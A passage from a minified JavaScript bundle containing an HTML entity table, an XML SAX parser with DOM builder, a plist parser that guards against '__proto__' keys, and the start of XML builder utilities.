,rightarrow:"→",RightArrowBar:"⇥",RightArrowLeftArrow:"⇄",rightarrowtail:"↣",RightCeiling:"⌉",RightDoubleBracket:"⟧",RightDownTeeVector:"⥝",RightDownVector:"⇂",RightDownVectorBar:"⥕",RightFloor:"⌋",rightharpoondown:"⇁",rightharpoonup:"⇀",rightleftarrows:"⇄",rightleftharpoons:"⇌",rightrightarrows:"⇉",rightsquigarrow:"↝",RightTee:"⊢",RightTeeArrow:"↦",RightTeeVector:"⥛",rightthreetimes:"⋌",RightTriangle:"⊳",RightTriangleBar:"⧐",RightTriangleEqual:"⊵",RightUpDownVector:"⥏",RightUpTeeVector:"⥜",RightUpVector:"↾",RightUpVectorBar:"⥔",RightVector:"⇀",RightVectorBar:"⥓",ring:"˚",risingdotseq:"≓",rlarr:"⇄",rlhar:"⇌",rlm:"",rmoust:"⎱",rmoustache:"⎱",rnmid:"⫮",roang:"⟭",roarr:"⇾",robrk:"⟧",ropar:"⦆",Ropf:"ℝ",ropf:"\uD835\uDD63",roplus:"⨮",rotimes:"⨵",RoundImplies:"⥰",rpar:")",rpargt:"⦔",rppolint:"⨒",rrarr:"⇉",Rrightarrow:"⇛",rsaquo:"›",Rscr:"ℛ",rscr:"\uD835\uDCC7",Rsh:"↱",rsh:"↱",rsqb:"]",rsquo:"’",rsquor:"’",rthree:"⋌",rtimes:"⋊",rtri:"▹",rtrie:"⊵",rtrif:"▸",rtriltri:"⧎",RuleDelayed:"⧴",ruluhar:"⥨",rx:"℞",Sacute:"Ś",sacute:"ś",sbquo:"‚",Sc:"⪼",sc:"≻",scap:"⪸",Scaron:"Š",scaron:"š",sccue:"≽",scE:"⪴",sce:"⪰",Scedil:"Ş",scedil:"ş",Scirc:"Ŝ",scirc:"ŝ",scnap:"⪺",scnE:"⪶",scnsim:"⋩",scpolint:"⨓",scsim:"≿",Scy:"С",scy:"с",sdot:"⋅",sdotb:"⊡",sdote:"⩦",searhk:"⤥",seArr:"⇘",searr:"↘",searrow:"↘",sect:"§",semi:";",seswar:"⤩",setminus:"∖",setmn:"∖",sext:"✶",Sfr:"\uD835\uDD16",sfr:"\uD835\uDD30",sfrown:"⌢",sharp:"♯",SHCHcy:"Щ",shchcy:"щ",SHcy:"Ш",shcy:"ш",ShortDownArrow:"↓",ShortLeftArrow:"←",shortmid:"∣",shortparallel:"∥",ShortRightArrow:"→",ShortUpArrow:"↑",shy:"",Sigma:"Σ",sigma:"σ",sigmaf:"ς",sigmav:"ς",sim:"∼",simdot:"⩪",sime:"≃",simeq:"≃",simg:"⪞",simgE:"⪠",siml:"⪝",simlE:"⪟",simne:"≆",simplus:"⨤",simrarr:"⥲",slarr:"←",SmallCircle:"∘",smallsetminus:"∖",smashp:"⨳",smeparsl:"⧤",smid:"∣",smile:"⌣",smt:"⪪",smte:"⪬",smtes:"⪬︀",SOFTcy:"Ь",softcy:"ь",sol:"/",solb:"⧄",solbar:"⌿",Sopf:"\uD835\uDD4A",sopf:"\uD835\uDD64",spades:"♠",spadesuit:"♠",spar:"∥",sqcap:"⊓",sqcaps:"⊓︀",sqcup:"⊔",sqcups:"⊔︀",Sqrt:"√",sqsub:"⊏",sqsube:"⊑",sqsubset:"⊏",sqsubseteq:"⊑",sqsup:"⊐",sqsupe:"⊒",sqsupset:"⊐",sqsupseteq:"⊒",squ:"□",Square:"□",square:"□",SquareIntersection:"⊓",SquareSubset:"⊏",SquareSubsetEqual:"⊑",SquareSuperset:"⊐",SquareSupersetEqual:"⊒",SquareUnion:"⊔",squarf:"▪",squf:"▪",srarr:"→",Sscr:"\uD835\uDCAE",sscr:"\uD835\uDCC8",ssetmn:"∖",ssmile:"⌣",sstarf:"⋆",Star:"⋆",star:"☆",starf:"★",straightepsilon:"ϵ",straightphi:"ϕ",strns:"¯",Sub:"⋐",sub:"⊂",subdot:"⪽",subE:"⫅",sube:"⊆",subedot:"⫃",submult:"⫁",subnE:"⫋",subne:"⊊",subplus:"⪿",subrarr:"⥹",Subset:"⋐",subset:"⊂",subseteq:"⊆",subseteqq:"⫅",SubsetEqual:"⊆",subsetneq:"⊊",subsetneqq:"⫋",subsim:"⫇",subsub:"⫕",subsup:"⫓",succ:"≻",succapprox:"⪸",succcurlyeq:"≽",Succeeds:"≻",SucceedsEqual:"⪰",SucceedsSlantEqual:"≽",SucceedsTilde:"≿",succeq:"⪰",succnapprox:"⪺",succneqq:"⪶",succnsim:"⋩",succsim:"≿",SuchThat:"∋",Sum:"∑",sum:"∑",sung:"♪",Sup:"⋑",sup:"⊃",sup1:"¹",sup2:"²",sup3:"³",supdot:"⪾",supdsub:"⫘",supE:"⫆",supe:"⊇",supedot:"⫄",Superset:"⊃",SupersetEqual:"⊇",suphsol:"⟉",suphsub:"⫗",suplarr:"⥻",supmult:"⫂",supnE:"⫌",supne:"⊋",supplus:"⫀",Supset:"⋑",supset:"⊃",supseteq:"⊇",supseteqq:"⫆",supsetneq:"⊋",supsetneqq:"⫌",supsim:"⫈",supsub:"⫔",supsup:"⫖",swarhk:"⤦",swArr:"⇙",swarr:"↙",swarrow:"↙",swnwar:"⤪",szlig:"ß",Tab:"\t",target:"⌖",Tau:"Τ",tau:"τ",tbrk:"⎴",Tcaron:"Ť",tcaron:"ť",Tcedil:"Ţ",tcedil:"ţ",Tcy:"Т",tcy:"т",tdot:"⃛",telrec:"⌕",Tfr:"\uD835\uDD17",tfr:"\uD835\uDD31",there4:"∴",Therefore:"∴",therefore:"∴",Theta:"Θ",theta:"θ",thetasym:"ϑ",thetav:"ϑ",thickapprox:"≈",thicksim:"∼",ThickSpace:" ",thinsp:" ",ThinSpace:" ",thkap:"≈",thksim:"∼",THORN:"Þ",thorn:"þ",Tilde:"∼",tilde:"˜",TildeEqual:"≃",TildeFullEqual:"≅",TildeTilde:"≈",times:"×",timesb:"⊠",timesbar:"⨱",timesd:"⨰",tint:"∭",toea:"⤨",top:"⊤",topbot:"⌶",topcir:"⫱",Topf:"\uD835\uDD4B",topf:"\uD835\uDD65",topfork:"⫚",tosa:"⤩",tprime:"‴",TRADE:"™",trade:"™",triangle:"▵",triangledown:"▿",triangleleft:"◃",trianglelefteq:"⊴",triangleq:"≜",triangleright:"▹",trianglerighteq:"⊵",tridot:"◬",trie:"≜",triminus:"⨺",TripleDot:"⃛",triplus:"⨹",trisb:"⧍",tritime:"⨻",trpezium:"⏢",Tscr:"\uD835\uDCAF",tscr:"\uD835\uDCC9",TScy:"Ц",tscy:"ц",TSHcy:"Ћ",tshcy:"ћ",Tstrok:"Ŧ",tstrok:"ŧ",twixt:"≬",twoheadleftarrow:"↞",twoheadrightarrow:"↠",Uacute:"Ú",uacute:"ú",Uarr:"↟",uArr:"⇑",uarr:"↑",Uarrocir:"⥉",Ubrcy:"Ў",ubrcy:"ў",Ubreve:"Ŭ",ubreve:"ŭ",Ucirc:"Û",ucirc:"û",Ucy:"У",ucy:"у",udarr:"⇅",Udblac:"Ű",udblac:"ű",udhar:"⥮",ufisht:"⥾",Ufr:"\uD835\uDD18",ufr:"\uD835\uDD32",Ugrave:"Ù",ugrave:"ù",uHar:"⥣",uharl:"↿",uharr:"↾",uhblk:"▀",ulcorn:"⌜",ulcorner:"⌜",ulcrop:"⌏",ultri:"◸",Umacr:"Ū",umacr:"ū",uml:"¨",UnderBar:"_",UnderBrace:"⏟",UnderBracket:"⎵",UnderParenthesis:"⏝",Union:"⋃",UnionPlus:"⊎",Uogon:"Ų",uogon:"ų",Uopf:"\uD835\uDD4C",uopf:"\uD835\uDD66",UpArrow:"↑",Uparrow:"⇑",uparrow:"↑",UpArrowBar:"⤒",UpArrowDownArrow:"⇅",UpDownArrow:"↕",Updownarrow:"⇕",updownarrow:"↕",UpEquilibrium:"⥮",upharpoonleft:"↿",upharpoonright:"↾",uplus:"⊎",UpperLeftArrow:"↖",UpperRightArrow:"↗",Upsi:"ϒ",upsi:"υ",upsih:"ϒ",Upsilon:"Υ",upsilon:"υ",UpTee:"⊥",UpTeeArrow:"↥",upuparrows:"⇈",urcorn:"⌝",urcorner:"⌝",urcrop:"⌎",Uring:"Ů",uring:"ů",urtri:"◹",Uscr:"\uD835\uDCB0",uscr:"\uD835\uDCCA",utdot:"⋰",Utilde:"Ũ",utilde:"ũ",utri:"▵",utrif:"▴",uuarr:"⇈",Uuml:"Ü",uuml:"ü",uwangle:"⦧",vangrt:"⦜",varepsilon:"ϵ",varkappa:"ϰ",varnothing:"∅",varphi:"ϕ",varpi:"ϖ",varpropto:"∝",vArr:"⇕",varr:"↕",varrho:"ϱ",varsigma:"ς",varsubsetneq:"⊊︀",varsubsetneqq:"⫋︀",varsupsetneq:"⊋︀",varsupsetneqq:"⫌︀",vartheta:"ϑ",vartriangleleft:"⊲",vartriangleright:"⊳",Vbar:"⫫",vBar:"⫨",vBarv:"⫩",Vcy:"В",vcy:"в",VDash:"⊫",Vdash:"⊩",vDash:"⊨",vdash:"⊢",Vdashl:"⫦",Vee:"⋁",vee:"∨",veebar:"⊻",veeeq:"≚",vellip:"⋮",Verbar:"‖",verbar:"|",Vert:"‖",vert:"|",VerticalBar:"∣",VerticalLine:"|",VerticalSeparator:"❘",VerticalTilde:"≀",VeryThinSpace:" ",Vfr:"\uD835\uDD19",vfr:"\uD835\uDD33",vltri:"⊲",vnsub:"⊂⃒",vnsup:"⊃⃒",Vopf:"\uD835\uDD4D",vopf:"\uD835\uDD67",vprop:"∝",vrtri:"⊳",Vscr:"\uD835\uDCB1",vscr:"\uD835\uDCCB",vsubnE:"⫋︀",vsubne:"⊊︀",vsupnE:"⫌︀",vsupne:"⊋︀",Vvdash:"⊪",vzigzag:"⦚",Wcirc:"Ŵ",wcirc:"ŵ",wedbar:"⩟",Wedge:"⋀",wedge:"∧",wedgeq:"≙",weierp:"℘",Wfr:"\uD835\uDD1A",wfr:"\uD835\uDD34",Wopf:"\uD835\uDD4E",wopf:"\uD835\uDD68",wp:"℘",wr:"≀",wreath:"≀",Wscr:"\uD835\uDCB2",wscr:"\uD835\uDCCC",xcap:"⋂",xcirc:"◯",xcup:"⋃",xdtri:"▽",Xfr:"\uD835\uDD1B",xfr:"\uD835\uDD35",xhArr:"⟺",xharr:"⟷",Xi:"Ξ",xi:"ξ",xlArr:"⟸",xlarr:"⟵",xmap:"⟼",xnis:"⋻",xodot:"⨀",Xopf:"\uD835\uDD4F",xopf:"\uD835\uDD69",xoplus:"⨁",xotime:"⨂",xrArr:"⟹",xrarr:"⟶",Xscr:"\uD835\uDCB3",xscr:"\uD835\uDCCD",xsqcup:"⨆",xuplus:"⨄",xutri:"△",xvee:"⋁",xwedge:"⋀",Yacute:"Ý",yacute:"ý",YAcy:"Я",yacy:"я",Ycirc:"Ŷ",ycirc:"ŷ",Ycy:"Ы",ycy:"ы",yen:"¥",Yfr:"\uD835\uDD1C",yfr:"\uD835\uDD36",YIcy:"Ї",yicy:"ї",Yopf:"\uD835\uDD50",yopf:"\uD835\uDD6A",Yscr:"\uD835\uDCB4",yscr:"\uD835\uDCCE",YUcy:"Ю",yucy:"ю",Yuml:"Ÿ",yuml:"ÿ",Zacute:"Ź",zacute:"ź",Zcaron:"Ž",zcaron:"ž",Zcy:"З",zcy:"з",Zdot:"Ż",zdot:"ż",zeetrf:"ℨ",ZeroWidthSpace:"",Zeta:"Ζ",zeta:"ζ",Zfr:"ℨ",zfr:"\uD835\uDD37",ZHcy:"Ж",zhcy:"ж",zigrarr:"⇝",Zopf:"ℤ",zopf:"\uD835\uDD6B",Zscr:"\uD835\uDCB5",zscr:"\uD835\uDCCF",zwj:"",zwnj:""});r_2.entityMap=r_2.HTML_ENTITIES});var ye7=v((zG2)=>{var zQA=oFA().NAMESPACE,gR6=/[A-Z_a-z\xC0-\xD6\xD8-\xF6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]/,Te7=new RegExp("[\\-\\.0-9"+gR6.source.slice(1,-1)+"\\u00B7\\u0300-\\u036F\\u203F-\\u2040]"),ve7=new RegExp("^"+gR6.source+Te7.source+"*(?::"+gR6.source+Te7.source+"*)?$"),KQA=0,Et=1,cjA=2,qQA=3,ljA=4,ijA=5,YQA=6,yM1=7;function njA(A,K){if(this.message=A,this.locator=K,Error.captureStackTrace)Error.captureStackTrace(this,njA)}njA.prototype=Error();njA.prototype.name=njA.name;function Ce7(){}Ce7.prototype={parse:function(A,K,q){var Y=this.domBuilder;Y.startDocument(),Le7(K,K={}),s_2(A,K,q,Y,this.errorHandler),Y.endDocument()}};function s_2(A,K,q,Y,z){function w(r){if(r>65535){r-=65536;var c=55296+(r>>10),YA=56320+(r&1023);return String.fromCharCode(c,YA)}else return String.fromCharCode(r)}function H(r){var c=r.slice(1,-1);if(Object.hasOwnProperty.call(q,c))return q[c];else if(c.charAt(0)==="#")return w(parseInt(c.substr(1).replace("x","0x")));else return z.error("entity not found:"+r),r}function J(r){if(r>D){var c=A.substring(D,r).replace(/&#?\w+;/g,H);G&&O(D),Y.characters(c,0,r-D),D=r}}function O(r,c){while(r>=$&&(c=_.exec(A)))X=c.index,$=X+c[0].length,G.lineNumber++;G.columnNumber=r-X+1}var X=0,$=0,_=/.*(?:\r\n?|\n)|.*$/g,G=Y.locator,Z=[{currentNSMap:K}],W={},D=0;while(!0){try{var j=A.indexOf("<",D);if(j<0){if(!A.substr(D).match(/^\s*$/)){var M=Y.doc,P=M.createTextNode(A.substr(D));M.appendChild(P),Y.currentElement=P}return}if(j>D)J(j);switch(A.charAt(j+1)){case"/":var b=A.indexOf(">",j+3),f=A.substring(j+2,b).replace(/[ \t\n\r]+$/g,""),N=Z.pop();if(b<0)f=A.substring(j+2).replace(/[\s<].*/,""),z.error("end tag name: "+f+" is not complete:"+N.tagName),b=j+1+f.length;else if(f.match(/\s</))f=f.replace(/[\s<].*/,""),z.error("end tag name: "+f+" maybe not complete"),b=j+1+f.length;var T=N.localNSMap,C=N.tagName==f,R=C||N.tagName&&N.tagName.toLowerCase()==f.toLowerCase();if(R){if(Y.endElement(N.uri,N.localName,f),T){for(var x in T)if(Object.prototype.hasOwnProperty.call(T,x))Y.endPrefixMapping(x)}if(!C)z.fatalError("end tag name: "+f+" is not match the current start tagName:"+N.tagName)}else Z.push(N);b++;break;case"?":G&&O(j),b=qG2(A,j,Y);break;case"!":G&&O(j),b=KG2(A,j,Y,z);break;default:G&&O(j);var y=new Re7,B=Z[Z.length-1].currentNSMap,b=t_2(A,j,y,B,H,z),F=y.length;if(!y.closed&&AG2(A,b,y.tagName,W)){if(y.closed=!0,!q.nbsp)z.warning("unclosed xml attribute")}if(G&&F){var Q=Ee7(G,{});for(var u=0;u<F;u++){var d=y[u];O(d.offset),d.locator=Ee7(G,{})}if(Y.locator=Q,ke7(y,Y,B))Z.push(y);Y.locator=G}else if(ke7(y,Y,B))Z.push(y);if(zQA.isHTML(y.uri)&&!y.closed)b=e_2(A,b,y.tagName,H,Y);else b++}}catch(r){if(r instanceof njA)throw r;z.error("element parse error: "+r),b=-1}if(b>D)D=b;else J(Math.max(j,D)+1)}}function Ee7(A,K){return K.lineNumber=A.lineNumber,K.columnNumber=A.columnNumber,K}function t_2(A,K,q,Y,z,w){function H(Z,W,D){if(q.attributeNames.hasOwnProperty(Z))w.fatalError("Attribute "+Z+" redefined");q.addValue(Z,W.replace(/[\t\n\r]/g," ").replace(/&#?\w+;/g,z),D)}var J,O,X=++K,$=KQA;while(!0){var _=A.charAt(X);switch(_){case"=":if($===Et)J=A.slice(K,X),$=qQA;else if($===cjA)$=qQA;else throw Error("attribute equal must after attrName");break;case"'":case'"':if($===qQA||$===Et){if($===Et)w.warning('attribute value must after "="'),J=A.slice(K,X);if(K=X+1,X=A.indexOf(_,K),X>0)O=A.slice(K,X),H(J,O,K-1),$=ijA;else throw Error("attribute value no end '"+_+"' match")}else if($==ljA)O=A.slice(K,X),H(J,O,K),w.warning('attribute "'+J+'" missed start quot('+_+")!!"),K=X+1,$=ijA;else throw Error('attribute value must after "="');break;case"/":switch($){case KQA:q.setTagName(A.slice(K,X));case ijA:case YQA:case yM1:$=yM1,q.closed=!0;case ljA:case Et:break;case cjA:q.closed=!0;break;default:throw Error("attribute invalid close char('/')")}break;case"":if(w.error("unexpected end of input"),$==KQA)q.setTagName(A.slice(K,X));return X;case">":switch($){case KQA:q.setTagName(A.slice(K,X));case ijA:case YQA:case yM1:break;case ljA:case Et:if(O=A.slice(K,X),O.slice(-1)==="/")q.closed=!0,O=O.slice(0,-1);case cjA:if($===cjA)O=J;if($==ljA)w.warning('attribute "'+O+'" missed quot(")!'),H(J,O,K);else{if(!zQA.isHTML(Y[""])||!O.match(/^(?:disabled|checked|selected)$/i))w.warning('attribute "'+O+'" missed value!! "'+O+'" instead!!');H(O,O,K)}break;case qQA:throw Error("attribute value missed!!")}return X;case"":_=" ";default:if(_<=" ")switch($){case KQA:q.setTagName(A.slice(K,X)),$=YQA;break;case Et:J=A.slice(K,X),$=cjA;break;case ljA:var O=A.slice(K,X);w.warning('attribute "'+O+'" missed quot(")!!'),H(J,O,K);case ijA:$=YQA;break}else switch($){case cjA:var G=q.tagName;if(!zQA.isHTML(Y[""])||!J.match(/^(?:disabled|checked|selected)$/i))w.warning('attribute "'+J+'" missed value!! "'+J+'" instead2!!');H(J,J,K),K=X,$=Et;break;case ijA:w.warning('attribute space is required"'+J+'"!!');case YQA:$=Et,K=X;break;case qQA:$=ljA,K=X;break;case yM1:throw Error("elements closed character '/' and '>' must be connected to")}}X++}}function ke7(A,K,q){var Y=A.tagName,z=null,_=A.length;while(_--){var w=A[_],H=w.qName,J=w.value,G=H.indexOf(":");if(G>0)var O=w.prefix=H.slice(0,G),X=H.slice(G+1),$=O==="xmlns"&&X;else X=H,O=null,$=H==="xmlns"&&"";if(w.localName=X,$!==!1){if(z==null)z={},Le7(q,q={});q[$]=z[$]=J,w.uri=zQA.XMLNS,K.startPrefixMapping($,J)}}var _=A.length;while(_--){w=A[_];var O=w.prefix;if(O){if(O==="xml")w.uri=zQA.XML;if(O!=="xmlns")w.uri=q[O||""]}}var G=Y.indexOf(":");if(G>0)O=A.prefix=Y.slice(0,G),X=A.localName=Y.slice(G+1);else O=null,X=A.localName=Y;var Z=A.uri=q[O||""];if(K.startElement(Z,X,Y,A),A.closed){if(K.endElement(Z,X,Y),z){for(O in z)if(Object.prototype.hasOwnProperty.call(z,O))K.endPrefixMapping(O)}}else return A.currentNSMap=q,A.localNSMap=z,!0}function e_2(A,K,q,Y,z){if(/^(?:script|textarea)$/i.test(q)){var w=A.indexOf("</"+q+">",K),H=A.substring(K+1,w);if(/[&<]/.test(H)){if(/^script$/i.test(q))return z.characters(H,0,H.length),w;return H=H.replace(/&#?\w+;/g,Y),z.characters(H,0,H.length),w}}return K+1}function AG2(A,K,q,Y){var z=Y[q];if(z==null){if(z=A.lastIndexOf("</"+q+">"),z<K)z=A.lastIndexOf("</"+q);Y[q]=z}return z<K}function Le7(A,K){for(var q in A)if(Object.prototype.hasOwnProperty.call(A,q))K[q]=A[q]}function KG2(A,K,q,Y){var z=A.charAt(K+2);switch(z){case"-":if(A.charAt(K+3)==="-"){var w=A.indexOf("-->",K+4);if(w>K)return q.comment(A,K+4,w-K-4),w+3;else return Y.error("Unclosed comment"),-1}else return-1;default:if(A.substr(K+3,6)=="CDATA["){var w=A.indexOf("]]>",K+9);return q.startCDATA(),q.characters(A,K+9,w-K-9),q.endCDATA(),w+3}var H=YG2(A,K),J=H.length;if(J>1&&/!doctype/i.test(H[0][0])){var O=H[1][0],X=!1,$=!1;if(J>3){if(/^public$/i.test(H[2][0]))X=H[3][0],$=J>4&&H[4][0];else if(/^system$/i.test(H[2][0]))$=H[3][0]}var _=H[J-1];return q.startDTD(O,X,$),q.endDTD(),_.index+_[0].length}}return-1}function qG2(A,K,q){var Y=A.indexOf("?>",K);if(Y){var z=A.substring(K,Y).match(/^<\?(\S*)\s*([\s\S]*?)\s*$/);if(z){var w=z[0].length;return q.processingInstruction(z[1],z[2]),Y+2}else return-1}return-1}function Re7(){this.attributeNames={}}Re7.prototype={setTagName:function(A){if(!ve7.test(A))throw Error("invalid tagName:"+A);this.tagName=A},addValue:function(A,K,q){if(!ve7.test(A))throw Error("invalid attribute:"+A);this.attributeNames[A]=this.length,this[this.length++]={qName:A,value:K,offset:q}},length:0,getLocalName:function(A){return this[A].localName},getLocator:function(A){return this[A].locator},getQName:function(A){return this[A].qName},getURI:function(A){return this[A].uri},getValue:function(A){return this[A].value}};function YG2(A,K){var q,Y=[],z=/'[^']+'|"[^"]+"|[^\s<>\/=]+=?|(\/?\s*>|<)/g;z.lastIndex=K,z.exec(A);while(q=z.exec(A))if(Y.push(q),q[1])return Y}zG2.XMLReader=Ce7;zG2.ParseError=njA});var Be7=v((ZG2)=>{var JG2=oFA(),OG2=mR6(),Ie7=Ne7(),be7=ye7(),XG2=OG2.DOMImplementation,Se7=JG2.NAMESPACE,$G2=be7.ParseError,_G2=be7.XMLReader;function xe7(A){return A.replace(/\r[\n\u0085]/g,` `).replace(/[\r\u0085\u2028]/g,` `)}function ue7(A){this.options=A||{locator:{}}}ue7.prototype.parseFromString=function(A,K){var q=this.options,Y=new _G2,z=q.domBuilder||new wQA,w=q.errorHandler,H=q.locator,J=q.xmlns||{},O=/\/x?html?$/.test(K),X=O?Ie7.HTML_ENTITIES:Ie7.XML_ENTITIES;if(H)z.setDocumentLocator(H);if(Y.errorHandler=GG2(w,z,H),Y.domBuilder=q.domBuilder||z,O)J[""]=Se7.HTML;J.xml=J.xml||Se7.XML;var $=q.normalizeLineEndings||xe7;if(A&&typeof A==="string")Y.parse($(A),J,X);else Y.errorHandler.error("invalid doc source");return z.doc};function GG2(A,K,q){if(!A){if(K instanceof wQA)return K;A=K}var Y={},z=A instanceof Function;q=q||{};function w(H){var J=A[H];if(!J&&z)J=A.length==2?function(O){A(H,O)}:A;Y[H]=J&&function(O){J("[xmldom "+H+"]\t"+O+FR6(q))}||function(){}}return w("warning"),w("error"),w("fatalError"),Y}function wQA(){this.cdata=!1}function rjA(A,K){K.lineNumber=A.lineNumber,K.columnNumber=A.columnNumber}wQA.prototype={startDocument:function(){if(this.doc=new XG2().createDocument(null,null,null),this.locator)this.doc.documentURI=this.locator.systemId},startElement:function(A,K,q,Y){var z=this.doc,w=z.createElementNS(A,q||K),H=Y.length;IM1(this,w),this.currentElement=w,this.locator&&rjA(this.locator,w);for(var J=0;J<H;J++){var A=Y.getURI(J),O=Y.getValue(J),q=Y.getQName(J),X=z.createAttributeNS(A,q);this.locator&&rjA(Y.getLocator(J),X),X.value=X.nodeValue=O,w.setAttributeNode(X)}},endElement:function(A,K,q){var Y=this.currentElement,z=Y.tagName;this.currentElement=Y.parentNode},startPrefixMapping:function(A,K){},endPrefixMapping:function(A){},processingInstruction:function(A,K){var q=this.doc.createProcessingInstruction(A,K);this.locator&&rjA(this.locator,q),IM1(this,q)},ignorableWhitespace:function(A,K,q){},characters:function(A,K,q){if(A=he7.apply(this,arguments),A){if(this.cdata)var Y=this.doc.createCDATASection(A);else var Y=this.doc.createTextNode(A);if(this.currentElement)this.currentElement.appendChild(Y);else if(/^\s*$/.test(A))this.doc.appendChild(Y);this.locator&&rjA(this.locator,Y)}},skippedEntity:function(A){},endDocument:function(){this.doc.normalize()},setDocumentLocator:function(A){if(this.locator=A)A.lineNumber=0},comment:function(A,K,q){A=he7.apply(this,arguments);var Y=this.doc.createComment(A);this.locator&&rjA(this.locator,Y),IM1(this,Y)},startCDATA:function(){this.cdata=!0},endCDATA:function(){this.cdata=!1},startDTD:function(A,K,q){var Y=this.doc.implementation;if(Y&&Y.createDocumentType){var z=Y.createDocumentType(A,K,q);this.locator&&rjA(this.locator,z),IM1(this,z),this.doc.doctype=z}},warning:function(A){console.warn("[xmldom warning]\t"+A,FR6(this.locator))},error:function(A){console.error("[xmldom error]\t"+A,FR6(this.locator))},fatalError:function(A){throw new $G2(A,this.locator)}};function FR6(A){if(A)return` @`+(A.systemId||"")+"#[line:"+A.lineNumber+",col:"+A.columnNumber+"]"}function he7(A,K,q){if(typeof A=="string")return A.substr(K,q);else{if(A.length>=K+q||K)return new java.lang.String(A,K,q)+"";return A}}"endDTD,startEntity,endEntity,attributeDecl,elementDecl,externalEntityDecl,internalEntityDecl,resolveEntity,getExternalSubset,notationDecl,unparsedEntityDecl".replace(/\w+/g,function(A){wQA.prototype[A]=function(){return null}});function IM1(A,K){if(!A.currentElement)A.doc.appendChild(K);else A.currentElement.appendChild(K)}ZG2.__DOMHandler=wQA;ZG2.normalizeLineEndings=xe7;ZG2.DOMParser=ue7});var ge7=v((MG2)=>{var me7=mR6();MG2.DOMImplementation=me7.DOMImplementation;MG2.XMLSerializer=me7.XMLSerializer;MG2.DOMParser=Be7().DOMParser});var Qe7=v((EG2)=>{var{DOMParser:NG2}=ge7();EG2.parse=vG2;var SM1=3,Fe7=4,TG2=8;function QR6(A){return A.nodeType===SM1||A.nodeType===TG2||A.nodeType===Fe7}function Vd(A){if(!A.childNodes||A.childNodes.length===0)return!0;else return!1}function j3A(A,K){if(!A)throw Error(K)}function vG2(A){var K=new NG2().parseFromString(A);j3A(K.documentElement.nodeName==="plist","malformed document. First element should be <plist>");var q=ojA(K.documentElement);if(q.length==1)q=q[0];return q}function ojA(A){var K,q,Y,z,w,H,J,O;if(!A)return null;if(A.nodeName==="plist"){if(w=[],Vd(A))return w;for(K=0;K<A.childNodes.length;K++)if(!QR6(A.childNodes[K]))w.push(ojA(A.childNodes[K]));return w}else if(A.nodeName==="dict"){if(q={},Y=null,J=0,Vd(A))return q;for(K=0;K<A.childNodes.length;K++){if(QR6(A.childNodes[K]))continue;if(J%2===0)j3A(A.childNodes[K].nodeName==="key","Missing key while parsing <dict/>."),Y=ojA(A.childNodes[K]);else j3A(A.childNodes[K].nodeName!=="key",'Unexpected key "'+ojA(A.childNodes[K])+'" while parsing <dict/>.'),q[Y]=ojA(A.childNodes[K]);J+=1}if(J%2===1)q[Y]="";return q}else if(A.nodeName==="array"){if(w=[],Vd(A))return w;for(K=0;K<A.childNodes.length;K++)if(!QR6(A.childNodes[K])){if(H=ojA(A.childNodes[K]),H!=null)w.push(H)}return w}else if(A.nodeName==="#text");else if(A.nodeName==="key"){if(Vd(A))return"";return j3A(A.childNodes[0].nodeValue!=="__proto__","__proto__ keys can lead to prototype pollution. More details on CVE-2022-22912"),A.childNodes[0].nodeValue}else if(A.nodeName==="string"){if(H="",Vd(A))return H;for(K=0;K<A.childNodes.length;K++){var O=A.childNodes[K].nodeType;if(O===SM1||O===Fe7)H+=A.childNodes[K].nodeValue}return H}else if(A.nodeName==="integer")return j3A(!Vd(A),'Cannot parse "" as integer.'),parseInt(A.childNodes[0].nodeValue,10);else if(A.nodeName==="real"){j3A(!Vd(A),'Cannot parse "" as real.'),H="";for(K=0;K<A.childNodes.length;K++)if(A.childNodes[K].nodeType===SM1)H+=A.childNodes[K].nodeValue;return parseFloat(H)}else if(A.nodeName==="data"){if(H="",Vd(A))return Buffer.from(H,"base64");for(K=0;K<A.childNodes.length;K++)if(A.childNodes[K].nodeType===SM1)H+=A.childNodes[K].nodeValue.replace(/\s+/g,"");return Buffer.from(H,"base64")}else if(A.nodeName==="date")return j3A(!Vd(A),'Cannot parse "" as Date.'),new Date(A.childNodes[0].nodeValue);else if(A.nodeName==="null")return null;else if(A.nodeName==="true")return!0;else if(A.nodeName==="false")return!1;else throw Error("Invalid PLIST tag "+A.nodeName)}});var rB=v((Ue7,kt)=>{(function(){var A,K,q,Y,z,w,H,J={}.hasOwnProperty;A=function(O,...X){var $,_,G,Z;if(z(Object.assign))Object.assign.apply(null,arguments);else for($=0,G=X.length;$<G;$++)if(Z=X[$],Z!=null)for(_ in Z){if(!J.call(Z,_))continue;O[_]=Z[_]}return O},z=function(O){return!!O&&Object.prototype.toString.call(O)==="[object Function]"},w=function(O){var X;return!!O&&((X=typeof O)==="function"||X==="object")},q=function(O){if(z(Array.isArray))return Array.isArray(O);else return Object.prototype.toString.call(O)==="[object Array]"},Y=function(O){var X;if(q(O))return!O.length;else{for(X in O){if(!J.call(O,X))continue;return!1}return!0}},H=function(O){var X,$;return w(O)&&($=Object.getPrototypeOf(O))&&(X=$.constructor)&&typeof X==="function"&&X instanceof X&&Function.prototype.toString.call(X)===Function.prototype.toString.call(Object)},K=function(O){if(z(O.valueOf))return O.valueOf();else return O},Ue7.assign=A,Ue7.isFunction=z,Ue7.isObject=w,Ue7.isArray=q,Ue7.isEmpty=Y,Ue7.isPlainObject=H,Ue7.getValue=K}).call(Ue7)});var UR6=v((pe7,de7)=>{(function(){var A;de7.exports=A=class{hasFeature(q,Y){return!0}createDocumentType(q,Y,z){throw Error("This DOM method is not implemented.")}createDocument(q,Y,z){throw Error("This DOM method is not implemented.")}createHTMLDocument(q){throw Error("This DOM method is not implemented.")}getFeature(q,Y){throw Error("This DOM method is not implemented.")}}}).call(pe7)});var ie7=v((ce7,le7)=>{(function(){var A;le7.exports=A=class{constructor(){}handleError(q){throw Error(q)}}}).call(ce7)});var oe7=v((ne7,re7)=>{(function(){var A;re7.exports=A=function(){class K{constructor(q){this.arr=q||[]}item(q){return this.arr[q]||null}contains(q){return this.arr.indexOf(q)!==-1}}return Object.defineProperty(K.prototype,"length",{get:function(){return this.arr.length}}),K}.call(this)}).call(ne7)});var te7=v((ae7,se7)=>{(function(){var A,K,q;K=ie7(),q=oe7(),se7.exports=A=function(){class Y{constructor(){var z;this.defaultParams={"canonical-form":!1,"cdata-sections":!1,comments:!1,"datatype-normalization":!1,"element-content-whitespace":!0,entities:!0,"error-handler":new 